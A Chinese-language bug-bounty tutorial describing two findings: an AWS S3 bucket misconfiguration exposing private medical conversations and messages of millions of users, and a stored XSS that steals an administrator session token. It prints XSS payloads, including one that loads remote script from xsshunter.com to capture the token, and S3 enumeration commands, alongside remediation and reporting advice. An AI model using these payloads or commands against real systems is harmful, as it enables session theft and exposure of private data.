挖洞经验 | 百万用户个人信息泄露漏洞
字数 1625 2025-08-18 11:39:11
AWS S3存储桶配置错误与XSS漏洞利用实战教学
1. AWS S3存储桶错误配置漏洞
1.1 漏洞发现过程
- 初始侦察:在对目标网站测试时,发现网站使用Amazon Cloudfront服务存储公共图片
- URL结构分析:发现图片存储URL格式为
https://d3ez8in977xyz.cloudfront.net/avatars/009afs8253c47248886d8ba021fd411f.jpg - 目录遍历测试:尝试访问根路径
https://d3ez8in977xyz.cloudfront.net/,发现不仅存储图片,还包含敏感数据
1.2 漏洞详情
- 错误配置类型:AWS S3存储桶权限设置不当,导致未授权访问
- 暴露数据类型:
- 语音聊天内容
- 音频通话记录
- 短信内容
- 医患对话记录
- 其他用户隐私文件
- 影响范围:数百万用户个人医疗数据(PII)
1.3 漏洞利用方法
-
枚举存储桶内容:
- 直接访问存储桶根路径
- 尝试常见目录名(如
/data,/backup,/private等) - 使用工具如
awscli或s3scanner进行自动化扫描
-
跨域名测试:
- 发现不同域名对应不同AWS存储桶
- 测试每个域名的公共图片存储路径
- 检查每个存储桶的权限设置
1.4 修复建议
-
权限设置:
- 设置存储桶为私有
- 仅允许特定IP或用户访问
- 启用存储桶策略和ACL审核
-
数据分类存储:
- 敏感数据与非敏感数据分开存储
- 公共内容使用独立存储桶
-
监控与告警:
- 设置异常访问告警
- 定期审计存储桶权限
2. 存储型XSS漏洞利用案例
2.1 漏洞发现过程
- 输入点测试:在数据格式页面发现未过滤的用户输入
- XSS验证:注入简单脚本测试存储型XSS
- 利用框架:使用XSSHunter的Payload进行深入测试
2.2 漏洞利用技术
-
Payload构造:
// 基本XSS验证 <script>alert(document.domain)</script> // XSSHunter Payload示例 <script src="https://xsshunter.com/yourpayload.js"></script> -
攻击流程:
- 注入恶意脚本到可存储位置
- 等待管理员查看包含恶意脚本的页面
- 通过XSSHunter接收反弹的管理员会话token
-
权限提升:
- 使用窃取的token模拟管理员会话
- 访问受限的管理接口
- 获取商业合作伙伴的详细信息
2.3 防御措施
-
输入过滤:
- 对所有用户输入进行HTML实体编码
- 使用白名单过滤允许的HTML标签
-
输出编码:
- 在输出到页面时进行上下文相关的编码
- 使用安全的模板引擎
-
内容安全策略(CSP):
- 实施严格的CSP策略
- 禁止内联脚本执行
-
会话保护:
- 使用HttpOnly和Secure标志的cookie
- 实施CSRF保护机制
3. 漏洞报告与赏金获取
3.1 有效漏洞报告要素
-
清晰描述:
- 漏洞类型和影响
- 重现步骤(step-by-step)
- 截图或视频证据
-
影响评估:
- 数据敏感性分析
- 受影响用户数量估算
- 潜在业务风险
-
修复建议:
- 提供可行的修复方案
- 引用相关安全标准
3.2 赏金计划策略
-
目标选择:
- 关注有公开赏金计划的企业
- 优先测试处理敏感数据的系统
-
测试方法:
- 从低风险测试开始建立信任
- 避免使用自动化工具大规模扫描
- 遵守各项目的测试规则
-
沟通技巧:
- 专业、礼貌的报告语言
- 及时响应项目方的询问
- 对修复进行验证确认
4. 工具与资源
4.1 AWS S3测试工具
-
awscli:官方AWS命令行工具,用于测试存储桶权限
aws s3 ls s3://bucket-name --no-sign-request -
S3Scanner:自动化查找和测试S3存储桶
python3 s3scanner.py --bucket names.txt -
BucketStream:查找可访问的S3存储桶
4.2 XSS测试工具
- XSSHunter:自动化XSS漏洞验证平台
- BeEF:浏览器利用框架
- Burp Suite:手动测试XSS的专业工具
4.3 学习资源
-
AWS安全最佳实践:
- AWS官方安全文档
- CIS AWS基准
-
Web安全学习:
- OWASP测试指南
- PortSwigger Web安全学院
-
漏洞赏金平台:
- HackerOne
- Bugcrowd
- 国内各大SRC平台